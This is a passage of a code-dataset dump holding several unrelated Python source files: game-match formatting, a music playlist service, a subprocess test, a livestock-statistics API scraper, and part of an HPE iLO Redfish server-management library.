self.first_dragon else '')\n if self.heralds_pair[0]:\n string += '{}Rift Heralds: {:<2}\\n'\\\n .format(tabs, self.heralds_pair[1])\n if self.barons_pair[0]:\n string += '{}Barons: {:<2}{}\\n'\\\n .format(tabs, self.barons_pair[1],\n ' First Baron.' if self.first_baron else '')\n if self.vilemaws_pair[0]:\n string += '{}Vile Maws: {:<2}\\n'.format(tabs, self.vilemaws_pair[1])\n\n if self.bans_pair_list:\n string += '{}Bans:\\n'.format(tabs)\n for i, b in enumerate(self.bans_pair_list):\n string += '{} {}. {}\\n'.format(tabs, i + 1, b[1])\n strings.append(string)\n\n for p in self.players_list:\n for s in p.to_str(use_runes, use_details, use_timeline, depth):\n strings.append(s)\n return strings\n\n\nclass LoLMatchDetailed:\n def __init__(self, region, match_id, queue_pair, season_pair, duration, team_pair):\n self.region = region\n self.match_id = match_id\n self.queue_pair = queue_pair\n self.season_pair = season_pair\n self.duration = duration\n self.team_pair = team_pair\n\n def to_str(self, use_runes=False, use_details=False, use_timeline=False, depth=0):\n tabs = '\\t' * depth\n strings = []\n string = '{}Match ID: {}\\n'.format(tabs, self.match_id)\n string += '{}Region: {}\\n'.format(tabs, Lv.regions_string_map[self.region])\n string += '{}{}\\n'.format(tabs, self.season_pair[1])\n string += '{}{}\\n'.format(tabs, self.queue_pair[1])\n minutes, seconds = Gv.get_minutes_seconds(self.duration)\n string += '{}Duration: {}:{:02d}\\n'.format(tabs, int(minutes), round(seconds))\n strings.append(string)\n\n team1 = self.team_pair[0].\\\n to_str(use_runes, use_details, use_timeline, depth)\n team2 = self.team_pair[1].\\\n to_str(use_runes, use_details, use_timeline, depth)\n string = '{}Team 1:\\n{}\\n'.format(tabs, team1[0])\n strings.append(string)\n\n for s in team1[1:]:\n strings.append(s)\n string = '{}Team 2:\\n{}\\n'.format(tabs, team2[0])\n strings.append(string)\n\n for s in team2[1:]:\n strings.append(s)\n return strings\n","sub_path":"structure/LoLMatchDetailed.py","file_name":"LoLMatchDetailed.py","file_ext":"py","file_size_in_byte":13185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"288351570","text":"from pyechonest import artist, song, config\nfrom cache import cache\nfrom tornado.options import options\nfrom shuffle import shuffle\n\nimport rdio\nimport json\n\nclass Rdio(rdio.Rdio):\n \"\"\"A wrapper around simple Rdio client for ease of use.\n \"\"\"\n def __init__(self, consumer, token):\n rdio.Rdio.__init__(self, (consumer, token))\n \n @classmethod\n def init(cls):\n \"\"\"Creates an instance with the key in settings.yaml\n \"\"\"\n keys = options.group_dict('rdio')\n return Rdio(keys['key'], keys['secret'])\n \n @staticmethod\n @cache()\n def getTracksForArtist(artist):\n \"\"\"Gets most listented to tracks for an artist.\n \"\"\"\n client = Rdio.init()\n key = artist.split(\":\")[-1]\n return client.format_tracks(client.call('getTracksForArtist', dict(artist=key)))\n\n def format_tracks(self, tracks):\n \"\"\"Formats tract object by stripping down unwanted attributes.\n Makes it lighter for caching.\n \"\"\"\n if not tracks['status'] == 'ok':\n return None\n\n results = []\n for track in tracks['result']:\n results.append(dict(name=track['name'], album=track['album'], artist=track['artist'], \n duration=track['duration'], key=track['key'], \n artistkey=track['artistKey']))\n\n return results\n\nclass EchoNest(object):\n \"\"\"This is sort of a static methods only utility class to convert pyechonest\n methods to more tornado friendly methods.\n \"\"\" \n def __init__(self):\n raise RuntimeError(\"EchoNest should never be initialized\")\n\n @staticmethod\n @cache()\n def get_artist(name):\n return artist.Artist(name, buckets=['id:rdio-US', 'id:rdio-AU'])\n\n @staticmethod\n @cache()\n def get_rdio_code(name):\n return EchoNest.get_artist(name).get_foreign_id('rdio-US')\n\n @staticmethod\n def find_similar(artist, callback):\n \"\"\"Find similar artist for the given artist\"\"\"\n\n def format_result(artist):\n \"\"\"Format artist object to a more lightweight one.\"\"\"\n oa = artist.name.encode('utf-8')\n return (oa, EchoNest.get_rdio_code(oa))\n\n root = EchoNest.get_artist(artist)\n results = [format_result(root)]\n\n for node in root.similar:\n results.append(format_result(node))\n for similar in EchoNest.get_artist(node.name).similar:\n results.append(format_result(similar))\n\n callback(map(lambda x: dict(name=x[0], key=x[1]), set(results)))\n\nclass Radio(object):\n \"\"\"The glue layer which holds EchoNest and Rdio together. \n \"\"\"\n\n @staticmethod\n def getPlaylist(artist, callback):\n \"\"\"Creates a playlist with songs from the given artist and similar\n artists.\n \"\"\"\n\n def fetch_songs(data):\n \"\"\"Find most listened to songs from Rdio\"\"\"\n songs = []\n for band in data:\n if not band['key']:\n continue\n result = Rdio.getTracksForArtist(band['key'])\n songs.extend(result)\n return callback(dict(artists=data, tracks=shuffle(songs)))\n\n EchoNest.find_similar(artist, fetch_songs)\n\n# configure echonest library\nconfig.ECHO_NEST_API_KEY = options.group_dict('echonest')['api-key']\n","sub_path":"api/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"86292394","text":"import subprocess\nimport logging\n\nlogging.basicConfig(format=u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s',\n level=logging.DEBUG,\n filename=u'run.log')\n\n\n\n\ndef test_output():\n process = subprocess.Popen(\n [\"python3.5\", \"/Users/dmitrytemnov/Source/python/tango-me/src/SUT/SUT.py\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n out = process.stdout.read()\n logging.info(out)\n err = process.stderr.read()\n logging.info(err)\n exit_code = process.wait()\n\n\n\n assert (out == b'0')\n assert (exit_code == 0)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"441047528","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\nfrom lxml import etree #xml 파일을 열 때 사용하는 코드\nimport xml.etree.ElementTree as ElementTree #xml파일을 여는 코드\nimport pandas as pd\n\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode,unquote,quote_plus\nimport urllib\n\n\n# 빈 벡터 생서\na = []\nb = []\nc = []\nd = []\ne = []\nf = []\ng = []\nh = []\ni = []\n\nfor page in range(1,170): \n \n # api주소 열기 (url + 인증키 + 해당페이지+한 화면에 출력되는 데이터 개수)\n request = urllib.request.Request('http://apis.data.go.kr/1543000/FarmServiceInfo/getFarmCategoryInfo?serviceKey=#&pageNo='\n +str(page)+'&numOfRows=1000&lvstck_code=412000')\n \n request.get_method = lambda: 'GET'\n response_body = urlopen(request).read()\n \n # 추출된 xml형식의 text를 xml객체로 파싱\n tree = etree.fromstring(response_body)\n \n # 태그로부터 원하는 텍스트 추출\n for media in tree.getiterator('item'):\n a.append(media.findtext('lvstck_nm'))\n b.append(media.findtext('std_farm_no'))\n c.append(media.findtext('farm_nm'))\n d.append(media.findtext('ctprvn_nm')) \n e.append(media.findtext('sigungu_nm'))\n f.append(media.findtext('brd_head_qy'))\n g.append(media.findtext('owner_se')) \n h.append(media.findtext('livestock_no'))\n i.append(media.findtext('oper_sttus_nm'))\n \n\n\n# In[ ]:\n\n\ndf1 = pd.DataFrame(a,columns=['축종'])\ndf2 = pd.DataFrame(b,columns=['농장번호'])\ndf3 = pd.DataFrame(c,columns=['농장명'])\ndf4 = pd.DataFrame(d,columns=['시도명'])\ndf5 = pd.DataFrame(e,columns=['시군구명'])\ndf6 = pd.DataFrame(f,columns=['사육두수'])\ndf7 = pd.DataFrame(g,columns=['소유자구분'])\ndf8 = pd.DataFrame(h,columns=['축산업허가등록번호'])\ndf9 = pd.DataFrame(i,columns=['운영상태'])\n\n\n# In[ ]:\n\n\ntotal = pd.concat([df1,df2,df3,df4,df5,df6,df7,df8,df9],axis=1)\n\n\n# In[ ]:\n\n\ntotal.to_csv('가축사육 통계제공 서비스 일부.csv',encoding='utf-8-sig')\n\n\n# In[ ]:\n\n\ntotal.shape\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"data_collection/가축사육 통계제공 서비스_축종별 통계 정보.py","file_name":"가축사육 통계제공 서비스_축종별 통계 정보.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"23481525","text":"# Copyright 2018 Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n__author__ = 'HPE'\n\nimport json\n\nfrom six.moves.urllib import parse\nimport sushy\nfrom sushy import auth\nfrom sushy.resources.system import mappings as sushy_map\nfrom sushy import utils\n\nfrom proliantutils import exception\nfrom proliantutils.ilo import constants as ilo_cons\nfrom proliantutils.ilo import firmware_controller\nfrom proliantutils.ilo import operations\nfrom proliantutils import log\nfrom proliantutils.redfish import main\nfrom proliantutils.redfish.resources.manager import constants as mgr_cons\nfrom proliantutils.redfish.resources.system import constants as sys_cons\nfrom proliantutils.redfish.resources.system.storage \\\n import common as common_storage\nfrom proliantutils.redfish import utils as rf_utils\nfrom proliantutils import utils as common_utils\n\n\"\"\"\nClass specific for Redfish APIs.\n\"\"\"\n\nGET_POWER_STATE_MAP = {\n sushy.SYSTEM_POWER_STATE_ON: 'ON',\n sushy.SYSTEM_POWER_STATE_POWERING_ON: 'ON',\n sushy.SYSTEM_POWER_STATE_OFF: 'OFF',\n sushy.SYSTEM_POWER_STATE_POWERING_OFF: 'OFF'\n}\n\nPOWER_RESET_MAP = {\n 'ON': sushy.RESET_ON,\n 'OFF': sushy.RESET_FORCE_OFF,\n}\n\nDEVICE_COMMON_TO_REDFISH = {\n 'NETWORK': sushy.BOOT_SOURCE_TARGET_PXE,\n 'HDD': sushy.BOOT_SOURCE_TARGET_HDD,\n 'CDROM': sushy.BOOT_SOURCE_TARGET_CD,\n 'ISCSI': sushy.BOOT_SOURCE_TARGET_UEFI_TARGET,\n 'NONE': sushy.BOOT_SOURCE_TARGET_NONE\n}\n\nDEVICE_REDFISH_TO_COMMON = {v: k for k, v in DEVICE_COMMON_TO_REDFISH.items()}\n\nBOOT_MODE_MAP = {\n sys_cons.BIOS_BOOT_MODE_LEGACY_BIOS: 'LEGACY',\n sys_cons.BIOS_BOOT_MODE_UEFI: 'UEFI'\n}\n\nBOOT_MODE_MAP_REV = (\n utils.revert_dictionary(BOOT_MODE_MAP))\n\nPERSISTENT_BOOT_MAP = {\n sushy.BOOT_SOURCE_TARGET_PXE: 'NETWORK',\n sushy.BOOT_SOURCE_TARGET_HDD: 'HDD',\n sushy.BOOT_SOURCE_TARGET_CD: 'CDROM',\n sushy.BOOT_SOURCE_TARGET_UEFI_TARGET: 'NETWORK',\n sushy.BOOT_SOURCE_TARGET_NONE: 'NONE'\n}\n\nGET_SECUREBOOT_CURRENT_BOOT_MAP = {\n sys_cons.SECUREBOOT_CURRENT_BOOT_ENABLED: True,\n sys_cons.SECUREBOOT_CURRENT_BOOT_DISABLED: False\n}\n\nGET_POST_STATE_MAP = {\n sys_cons.POST_STATE_NULL: 'Null',\n sys_cons.POST_STATE_UNKNOWN: 'Unknown',\n sys_cons.POST_STATE_RESET: 'Reset',\n sys_cons.POST_STATE_POWEROFF: 'PowerOff',\n sys_cons.POST_STATE_INPOST: 'InPost',\n sys_cons.POST_STATE_INPOSTDISCOVERY: 'InPostDiscoveryComplete',\n sys_cons.POST_STATE_FINISHEDPOST: 'FinishedPost'\n}\n\n# Assuming only one system and one manager present as part of\n# collection, as we are dealing with iLO's here.\nPROLIANT_MANAGER_ID = '1'\nPROLIANT_SYSTEM_ID = '1'\n\nBOOT_OPTION_MAP = {'BOOT_ONCE': True,\n 'BOOT_ALWAYS': False,\n 'NO_BOOT': False}\n\nVIRTUAL_MEDIA_MAP = {'FLOPPY': mgr_cons.VIRTUAL_MEDIA_FLOPPY,\n 'CDROM': mgr_cons.VIRTUAL_MEDIA_CD}\n\nSUPPORTED_BOOT_MODE_MAP = {\n sys_cons.SUPPORTED_LEGACY_BIOS_ONLY: (\n ilo_cons.SUPPORTED_BOOT_MODE_LEGACY_BIOS_ONLY),\n sys_cons.SUPPORTED_UEFI_ONLY: ilo_cons.SUPPORTED_BOOT_MODE_UEFI_ONLY,\n sys_cons.SUPPORTED_LEGACY_BIOS_AND_UEFI: (\n ilo_cons.SUPPORTED_BOOT_MODE_LEGACY_BIOS_AND_UEFI)\n}\n\nLOG = log.get_logger(__name__)\n\n\nclass RedfishOperations(operations.IloOperations):\n \"\"\"Operations supported on redfish based hardware.\n\n This class holds APIs which are currently supported via Redfish mode\n of operation. This is a growing list which needs to be updated as and when\n the existing API/s (of its cousin RIS and RIBCL interfaces) are migrated.\n For operations currently supported on the client object, please refer:\n *proliantutils.ilo.client.SUPPORTED_REDFISH_METHODS*\n \"\"\"\n\n def __init__(self, redfish_controller_ip, username, password,\n bios_password=None, cacert=None, root_prefix='/redfish/v1/'):\n \"\"\"A class representing supported RedfishOperations\n\n :param redfish_controller_ip: The ip address of the Redfish controller.\n :param username: User account with admin/server-profile access\n privilege\n :param password: User account password\n :param bios_password: bios password\n :param cacert: a path to a CA_BUNDLE file or directory with\n certificates of trusted CAs. If set to None, the driver will\n ignore verifying the SSL certificate; if it's a path the driver\n will use the specified certificate or one of the certificates in\n the directory. Defaults to None.\n :param root_prefix: The default URL prefix. This part includes\n the root service and version. Defaults to /redfish/v1\n \"\"\"\n super(RedfishOperations, self).__init__()\n address = ('https://' + redfish_controller_ip)\n LOG.debug('Redfish address: %s', address)\n verify = False if cacert is None else cacert\n\n # for error reporting purpose\n self.host = redfish_controller_ip\n self._root_prefix = root_prefix\n self._username = username\n\n try:\n basic_auth = auth.BasicAuth(username=username, password=password)\n self._sushy = main.HPESushy(\n address, root_prefix=root_prefix, verify=verify,\n auth=basic_auth)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller at \"%(controller)s\" has '\n 'thrown error. Error %(error)s') %\n {'controller': address, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloConnectionError(msg)\n\n def _get_sushy_system(self, system_id):\n \"\"\"Get the sushy system for system_id\n\n :param system_id: The identity of the System resource\n :returns: the Sushy system instance\n :raises: IloError\n \"\"\"\n system_url = parse.urljoin(self._sushy.get_system_collection_path(),\n system_id)\n try:\n return self._sushy.get_system(system_url)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish System \"%(system)s\" was not found. '\n 'Error %(error)s') %\n {'system': system_id, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def _get_sushy_manager(self, manager_id):\n \"\"\"Get the sushy Manager for manager_id\n\n :param manager_id: The identity of the Manager resource\n :returns: the Sushy Manager instance\n :raises: IloError\n \"\"\"\n manager_url = parse.urljoin(self._sushy.get_manager_collection_path(),\n manager_id)\n try:\n return self._sushy.get_manager(manager_url)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish Manager \"%(manager)s\" was not found. '\n 'Error %(error)s') %\n {'manager': manager_id, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_product_name(self):\n \"\"\"Gets the product name of the server.\n\n :returns: server model name.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n return sushy_system.model\n\n def get_host_power_status(self):\n \"\"\"Request the power state of the server.\n\n :returns: Power State of the server, 'ON' or 'OFF'\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n return GET_POWER_STATE_MAP.get(sushy_system.power_state)\n\n def reset_server(self):\n \"\"\"Resets the server.\n\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.reset_system(sushy.RESET_FORCE_RESTART)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to reset server. '\n 'Error %(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def set_host_power(self, target_value):\n \"\"\"Sets the power state of the system.\n\n :param target_value: The target value to be set. Value can be:\n 'ON' or 'OFF'.\n :raises: IloError, on an error from iLO.\n :raises: InvalidInputError, if the target value is not\n allowed.\n \"\"\"\n if target_value not in POWER_RESET_MAP:\n msg = ('The parameter \"%(parameter)s\" value \"%(target_value)s\" is '\n 'invalid. Valid values are: %(valid_power_values)s' %\n {'parameter': 'target_value', 'target_value': target_value,\n 'valid_power_values': POWER_RESET_MAP.keys()})\n raise exception.InvalidInputError(msg)\n\n # Check current power status, do not act if it's in requested state.\n current_power_status = self.get_host_power_status()\n if current_power_status == target_value:\n LOG.debug(self._(\"Node is already in '%(target_value)s' power \"\n \"state.\"), {'target_value': target_value})\n return\n\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.reset_system(POWER_RESET_MAP[target_value])\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to set power state '\n 'of server to %(target_value)s. Error %(error)s') %\n {'target_value': target_value, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def press_pwr_btn(self):\n \"\"\"Simulates a physical press of the server power button.\n\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.push_power_button(sys_cons.PUSH_POWER_BUTTON_PRESS)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to press power button'\n ' of server. Error %(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def hold_pwr_btn(self):\n \"\"\"Simulate a physical press and hold of the server power button.\n\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n sushy_system.push_power_button(\n sys_cons.PUSH_POWER_BUTTON_PRESS_AND_HOLD)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to press and hold '\n 'power button of server. Error %(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def activate_license(self, key):\n \"\"\"Activates iLO license.\n\n :param key: iLO license key.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_manager = self._get_sushy_manager(PROLIANT_MANAGER_ID)\n try:\n sushy_manager.set_license(key)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to update '\n 'the license. Error %(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_one_time_boot(self):\n \"\"\"Retrieves the current setting for the one time boot.\n\n :returns: Returns boot device that would be used in next\n boot. Returns 'Normal' if no device is set.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n if (sushy_system.boot.enabled == sushy.BOOT_SOURCE_ENABLED_ONCE):\n return DEVICE_REDFISH_TO_COMMON.get(sushy_system.boot.target)\n else:\n # value returned by RIBCL if one-time boot setting are absent\n return 'Normal'\n\n def get_pending_boot_mode(self):\n \"\"\"Retrieves the pending boot mode of the server.\n\n Gets the boot mode to be set on next reset.\n :returns: either LEGACY or UEFI.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n return BOOT_MODE_MAP.get(\n sushy_system.bios_settings.pending_settings.boot_mode)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The pending BIOS Settings was not found. Error '\n '%(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_current_boot_mode(self):\n \"\"\"Retrieves the current boot mode of the server.\n\n :returns: Current boot mode, LEGACY or UEFI.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n return BOOT_MODE_MAP.get(sushy_system.bios_settings.boot_mode)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The current BIOS Settings was not found. Error '\n '%(error)s') %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def _validate_virtual_media(self, device):\n \"\"\"Check if the device is valid device.\n\n :param device: virtual media device\n :raises: IloInvalidInputError, if the device is not valid.\n \"\"\"\n if device not in VIRTUAL_MEDIA_MAP:\n msg = (self._(\"Invalid device '%s'. Valid devices: FLOPPY or \"\n \"CDROM.\")\n % device)\n LOG.debug(msg)\n raise exception.IloInvalidInputError(msg)\n\n def eject_virtual_media(self, device):\n \"\"\"Ejects the Virtual Media image if one is inserted.\n\n :param device: virual media device\n :raises: IloError, on an error from iLO.\n :raises: IloInvalidInputError, if the device is not valid.\n \"\"\"\n self._validate_virtual_media(device)\n manager = self._get_sushy_manager(PROLIANT_MANAGER_ID)\n try:\n vmedia_device = (\n manager.virtual_media.get_member_device(\n VIRTUAL_MEDIA_MAP[device]))\n if not vmedia_device.inserted:\n LOG.debug(self._(\"No media available in the device '%s' to \"\n \"perform eject operation.\") % device)\n return\n\n LOG.debug(self._(\"Ejecting the media image '%(url)s' from the \"\n \"device %(device)s.\") %\n {'url': vmedia_device.image_url, 'device': device})\n vmedia_device.eject_vmedia()\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller failed to eject the virtual\"\n \" media device '%(device)s'. Error %(error)s.\") %\n {'device': device, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def insert_virtual_media(self, url, device):\n \"\"\"Inserts the Virtual Media image to the device.\n\n :param url: URL to image\n :param device: virual media device\n :raises: IloError, on an error from iLO.\n :raises: IloInvalidInputError, if the device is not valid.\n \"\"\"\n self._validate_virtual_media(device)\n manager = self._get_sushy_manager(PROLIANT_MANAGER_ID)\n try:\n vmedia_device = (\n manager.virtual_media.get_member_device(\n VIRTUAL_MEDIA_MAP[device]))\n if vmedia_device.inserted:\n vmedia_device.eject_vmedia()\n\n LOG.debug(self._(\"Inserting the image url '%(url)s' to the \"\n \"device %(device)s.\") %\n {'url': url, 'device': device})\n vmedia_device.insert_vmedia(url)\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller failed to insert the media \"\n \"url %(url)s in the virtual media device \"\n \"'%(device)s'. Error %(error)s.\") %\n {'url': url, 'device': device, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def set_vm_status(self, device='FLOPPY',\n boot_option='BOOT_ONCE', write_protect='YES'):\n \"\"\"Sets the Virtual Media drive status\n\n It sets the boot option for virtual media device.\n Note: boot option can be set only for CD device.\n\n :param device: virual media device\n :param boot_option: boot option to set on the virtual media device\n :param write_protect: set the write protect flag on the vmedia device\n Note: It's ignored. In Redfish it is read-only.\n :raises: IloError, on an error from iLO.\n :raises: IloInvalidInputError, if the device is not valid.\n \"\"\"\n # CONNECT is a RIBCL call. There is no such property to set in Redfish.\n if boot_option == 'CONNECT':\n return\n\n self._validate_virtual_media(device)\n\n if boot_option not in BOOT_OPTION_MAP:\n msg = (self._(\"Virtual media boot option '%s' is invalid.\")\n % boot_option)\n LOG.debug(msg)\n raise exception.IloInvalidInputError(msg)\n\n manager = self._get_sushy_manager(PROLIANT_MANAGER_ID)\n try:\n vmedia_device = (\n manager.virtual_media.get_member_device(\n VIRTUAL_MEDIA_MAP[device]))\n vmedia_device.set_vm_status(BOOT_OPTION_MAP[boot_option])\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller failed to set the virtual \"\n \"media status for '%(device)s'. Error %(error)s\") %\n {'device': device, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n @firmware_controller.check_firmware_update_component\n def update_firmware(self, file_url, component_type):\n \"\"\"Updates the given firmware on the server for the given component.\n\n :param file_url: location of the raw firmware file. Extraction of the\n firmware file (if in compact format) is expected to\n happen prior to this invocation.\n :param component_type: Type of component to be applied to.\n :raises: IloError, on an error from iLO.\n \"\"\"\n try:\n update_service_inst = self._sushy.get_update_service()\n update_service_inst.flash_firmware(self, file_url)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to update firmware '\n 'with firmware %(file)s Error %(error)s') %\n {'file': file_url, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def _is_boot_mode_uefi(self):\n \"\"\"Checks if the system is in uefi boot mode.\n\n :return: 'True' if the boot mode is uefi else 'False'\n \"\"\"\n boot_mode = self.get_current_boot_mode()\n return (boot_mode == BOOT_MODE_MAP.get(sys_cons.BIOS_BOOT_MODE_UEFI))\n\n def get_persistent_boot_device(self):\n \"\"\"Get current persistent boot device set for the host\n\n :returns: persistent boot device for the system\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n # Return boot device if it is persistent.\n if ((sushy_system.\n boot.enabled) == sushy.BOOT_SOURCE_ENABLED_CONTINUOUS):\n return PERSISTENT_BOOT_MAP.get(sushy_system.boot.target)\n # Check if we are in BIOS boot mode.\n # There is no resource to fetch boot device order for BIOS boot mode\n if not self._is_boot_mode_uefi():\n return None\n\n try:\n boot_device = (sushy_system.bios_settings.boot_settings.\n get_persistent_boot_device())\n return PERSISTENT_BOOT_MAP.get(boot_device)\n except sushy.exceptions.SushyError as e:\n msg = (self._(\"The Redfish controller is unable to get \"\n \"persistent boot device. Error %(error)s\") %\n {'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def set_pending_boot_mode(self, boot_mode):\n \"\"\"Sets the boot mode of the system for next boot.\n\n :param boot_mode: either 'uefi' or 'legacy'.\n :raises: IloInvalidInputError, on an invalid input.\n :raises: IloError, on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n\n if boot_mode.upper() not in BOOT_MODE_MAP_REV.keys():\n msg = (('Invalid Boot mode: \"%(boot_mode)s\" specified, valid boot '\n 'modes are either \"uefi\" or \"legacy\"')\n % {'boot_mode': boot_mode})\n raise exception.IloInvalidInputError(msg)\n\n try:\n sushy_system.bios_settings.pending_settings.set_pending_boot_mode(\n BOOT_MODE_MAP_REV.get(boot_mode.upper()))\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to set '\n 'pending boot mode to %(boot_mode)s. '\n 'Error: %(error)s') %\n {'boot_mode': boot_mode, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def update_persistent_boot(self, devices=[]):\n \"\"\"Changes the persistent boot device order for the host\n\n :param devices: ordered list of boot devices\n :raises: IloError, on an error from iLO.\n :raises: IloInvalidInputError, if the given input is not valid.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n # Check if the input is valid\n for item in devices:\n if item.upper() not in DEVICE_COMMON_TO_REDFISH:\n msg = (self._('Invalid input \"%(device)s\". Valid devices: '\n 'NETWORK, HDD, ISCSI or CDROM.') %\n {'device': item})\n raise exception.IloInvalidInputError(msg)\n\n try:\n sushy_system.update_persistent_boot(\n devices, persistent=True)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to update '\n 'persistent boot device %(devices)s.'\n 'Error: %(error)s') %\n {'devices': devices, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def set_one_time_boot(self, device):\n \"\"\"Configures a single boot from a specific device.\n\n :param device: Device to be set as a one time boot device\n :raises: IloError, on an error from iLO.\n :raises: IloInvalidInputError, if the given input is not valid.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n # Check if the input is valid\n if device.upper() not in DEVICE_COMMON_TO_REDFISH:\n msg = (self._('Invalid input \"%(device)s\". Valid devices: '\n 'NETWORK, HDD, ISCSI or CDROM.') %\n {'device': device})\n raise exception.IloInvalidInputError(msg)\n\n try:\n sushy_system.update_persistent_boot(\n [device], persistent=False)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to set '\n 'one time boot device %(device)s. '\n 'Error: %(error)s') %\n {'device': device, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def reset_ilo_credential(self, password):\n \"\"\"Resets the iLO password.\n\n :param password: The password to be set.\n :raises: IloError, if account not found or on an error from iLO.\n \"\"\"\n try:\n acc_service = self._sushy.get_account_service()\n member = acc_service.accounts.get_member_details(self._username)\n if member is None:\n msg = (self._(\"No account found with username: %s\")\n % self._username)\n LOG.debug(msg)\n raise exception.IloError(msg)\n member.update_credentials(password)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to update '\n 'credentials for %(username)s. Error %(error)s') %\n {'username': self._username, 'error': str(e)})\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def get_supported_boot_mode(self):\n \"\"\"Get the system supported boot modes.\n\n :return: any one of the following proliantutils.ilo.constants:\n\n SUPPORTED_BOOT_MODE_LEGACY_BIOS_ONLY,\n SUPPORTED_BOOT_MODE_UEFI_ONLY,\n SUPPORTED_BOOT_MODE_LEGACY_BIOS_AND_UEFI\n :raises: IloError, if account not found or on an error from iLO.\n \"\"\"\n sushy_system = self._get_sushy_system(PROLIANT_SYSTEM_ID)\n try:\n return SUPPORTED_BOOT_MODE_MAP.get(\n sushy_system.supported_boot_mode)\n except sushy.exceptions.SushyError as e:\n msg = (self._('The Redfish controller failed to get the '\n 'supported boot modes. Error: %s') % e)\n LOG.debug(msg)\n raise exception.IloError(msg)\n\n def 